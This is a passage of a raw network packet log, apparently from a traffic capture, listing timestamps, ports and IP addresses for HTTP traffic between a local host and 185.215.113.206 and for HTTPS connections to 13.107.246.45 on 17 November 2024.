Nov 17, 2024 22:20:23.329323053 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.329335928 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.329346895 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.329413891 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.329413891 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.329544067 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.329555988 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.329567909 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.329710960 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.329710960 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.329921007 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.329931021 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.329984903 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.329983950 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.329996109 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.330041885 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.368530989 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.368621111 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.368630886 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.368685007 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.368697882 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.368729115 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.368736029 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.368736029 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.368736029 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.368834972 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.368834972 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.369015932 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.369064093 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.369076014 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.369080067 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.369112968 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.369121075 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.369133949 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.369133949 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.369146109 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.369168997 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.369187117 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.371356964 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.409528971 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.409548998 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.409564018 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.409686089 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.446249008 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446264029 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446276903 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446289062 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446310043 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.446331024 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.446487904 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446499109 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446541071 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.446623087 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446631908 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446662903 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.446796894 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446841002 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.446866035 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.446904898 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.485320091 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.485346079 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.485358000 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.485409021 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.485438108 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.485449076 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.485487938 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.485507965 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.485521078 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.485528946 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.485549927 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.485565901 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.485575914 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.485614061 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.485614061 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.486386061 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.486397982 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.486458063 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.486567974 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.486630917 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.486692905 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.486716032 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.486746073 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.486773968 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.526189089 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.526242971 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.526254892 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.526264906 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.526298046 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.526396990 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.562844992 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.562870979 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.562881947 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.562971115 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.563122034 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.563133955 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.563162088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.563236952 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.563374043 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.563405037 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.563416004 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.563435078 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.563461065 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.601959944 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.601993084 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602005959 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602037907 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602056980 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602067947 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602226973 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.602226973 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.602227926 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.602227926 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.602432966 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602444887 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602457047 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602497101 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.602510929 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602523088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.602524996 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.602567911 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.602567911 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.603167057 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.603188038 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.603198051 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.603235006 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.603235006 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.643047094 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.643069029 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.643120050 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.643179893 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.644999981 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.680079937 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680175066 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680252075 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680263042 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680270910 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680279970 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680295944 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680294991 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.680294991 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.680310011 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680321932 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680335045 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.680387974 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.680387974 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.680387974 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.718780041 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.718797922 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.718823910 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.718830109 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.718835115 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.718847990 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.718877077 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.718946934 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.719196081 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.719265938 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.719271898 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.719276905 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.719321966 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.719336033 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.719338894 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.719350100 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.719393015 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.719423056 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.720122099 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.720143080 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.720186949 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.720218897 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.735913038 CET	443	49726	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.736505032 CET	49726	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.736514091 CET	443	49726	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.736963987 CET	49726	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.736968994 CET	443	49726	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.741252899 CET	443	49728	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.741564035 CET	49728	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.741578102 CET	443	49728	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.741878986 CET	49728	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.741883993 CET	443	49728	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.743480921 CET	443	49725	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.743812084 CET	49725	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.743822098 CET	443	49725	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.744043112 CET	49725	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.744049072 CET	443	49725	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.754818916 CET	443	49727	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.755332947 CET	49727	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.755342960 CET	443	49727	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.756083965 CET	49727	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.756088972 CET	443	49727	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.759691000 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.759706020 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.759716988 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.759897947 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.759897947 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.796305895 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.796360970 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.796372890 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.796390057 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.796407938 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.796500921 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.796503067 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.796503067 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.796533108 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.796545982 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.796591043 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.796658993 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.796922922 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.796976089 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.796988964 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.797007084 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.797039986 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.835535049 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.835566044 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.835577965 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.835588932 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.835613966 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.835613966 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.835625887 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.835639954 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.835652113 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.835663080 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.835678101 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.835704088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.836430073 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.836443901 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.836456060 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.836484909 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.836505890 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.836721897 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.836767912 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.836781025 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.836785078 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.836807966 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.836833000 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.836843014 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.836855888 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.836889982 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.836905003 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.866236925 CET	443	49726	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.866415024 CET	443	49726	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.866470098 CET	49726	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.866647005 CET	49726	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.866662979 CET	443	49726	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.866694927 CET	49726	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.866700888 CET	443	49726	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.867415905 CET	443	49729	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.867937088 CET	49729	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.867944002 CET	443	49729	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.868643045 CET	49729	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.868654013 CET	443	49729	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.870155096 CET	443	49728	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.870215893 CET	443	49728	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.870347023 CET	49728	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.871547937 CET	49728	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.871547937 CET	49728	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.871567011 CET	443	49728	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.871576071 CET	443	49728	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.872201920 CET	49730	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.872229099 CET	443	49730	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.872296095 CET	49730	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.872637987 CET	49730	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.872649908 CET	443	49730	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.874401093 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.874440908 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.874531031 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.874675989 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.874691010 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.875344038 CET	443	49725	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.875402927 CET	443	49725	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.875475883 CET	49725	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.875614882 CET	49725	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.875614882 CET	49725	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.875621080 CET	443	49725	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.875627995 CET	443	49725	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.876313925 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.876327038 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.876389027 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.876419067 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.876477003 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.876508951 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.876564026 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.879368067 CET	49732	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.879410028 CET	443	49732	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.879498959 CET	49732	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.879606962 CET	49732	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.879623890 CET	443	49732	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.901211023 CET	443	49727	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.901360035 CET	443	49727	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.901434898 CET	49727	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.901525021 CET	49727	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.901525021 CET	49727	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.901530981 CET	443	49727	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.901539087 CET	443	49727	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.904046059 CET	49733	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.904077053 CET	443	49733	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.904150009 CET	49733	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.904264927 CET	49733	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:23.904277086 CET	443	49733	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:23.912966013 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.912990093 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.913001060 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.913036108 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.913086891 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.913119078 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.913150072 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.913161039 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.913181067 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.913237095 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.913625002 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.913686991 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.913687944 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.913732052 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.913736105 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.913765907 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.913790941 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.913821936 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952034950 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952045918 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952115059 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952146053 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952155113 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952199936 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952234030 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952235937 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952255964 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952318907 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952318907 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952445030 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952456951 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952467918 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952511072 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952541113 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952722073 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952781916 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952790022 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952838898 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:23.952919006 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952930927 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952941895 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952958107 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:23.952970982 CET	80	49704	185.215.113.206	192.168.2.7
